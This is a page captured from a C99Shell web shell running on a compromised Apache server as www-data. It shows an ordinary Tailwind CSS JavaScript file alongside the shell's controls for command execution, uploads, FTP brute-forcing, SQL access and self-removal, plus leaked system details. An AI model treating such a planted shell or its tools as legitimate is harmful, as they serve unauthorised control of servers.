!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/share/.cache/yarn/v6/npm-tailwindcss-2.2.17-integrity/node_modules/tailwindcss/lib/util/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     createUtilityPlugin.js (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = createUtilityPlugin;

var _transformThemeValue = _interopRequireDefault(require("./transformThemeValue"));

var _pluginUtils = require("../util/pluginUtils");

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

let asMap = new Map([[_pluginUtils.asValue, 'any'], [_pluginUtils.asList, 'list'], [_pluginUtils.asColor, 'color'], [_pluginUtils.asAngle, 'angle'], [_pluginUtils.asLength, 'length'], [_pluginUtils.asLookupValue, 'lookup']]);

function createUtilityPlugin(themeKey, utilityVariations = [[themeKey, [themeKey]]], {
  filterDefault = false,
  resolveArbitraryValue = _pluginUtils.asValue
} = {}) {
  let transformValue = (0, _transformThemeValue.default)(themeKey);
  return function ({
    matchUtilities,
    variants,
    theme
  }) {
    for (let utilityVariation of utilityVariations) {
      var _asMap$get;

      let group = Array.isArray(utilityVariation[0]) ? utilityVariation : [utilityVariation];
      matchUtilities(group.reduce((obj, [classPrefix, properties]) => {
        return Object.assign(obj, {
          [classPrefix]: value => {
            return properties.reduce((obj, name) => {
              if (Array.isArray(name)) {
                return Object.assign(obj, {
                  [name[0]]: name[1]
                });
              }

              return Object.assign(obj, {
                [name]: transformValue(value)
              });
            }, {});
          }
        });
      }, {}), {
        values: filterDefault ? Object.fromEntries(Object.entries(theme(themeKey) || {}).filter(([modifier]) => modifier !== 'DEFAULT')) : theme(themeKey),
        variants: variants(themeKey),
        type: (_asMap$get = asMap.get(resolveArbitraryValue)) !== null && _asMap$get !== void 0 ? _asMap$get : 'any'
      });
    }
  };
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--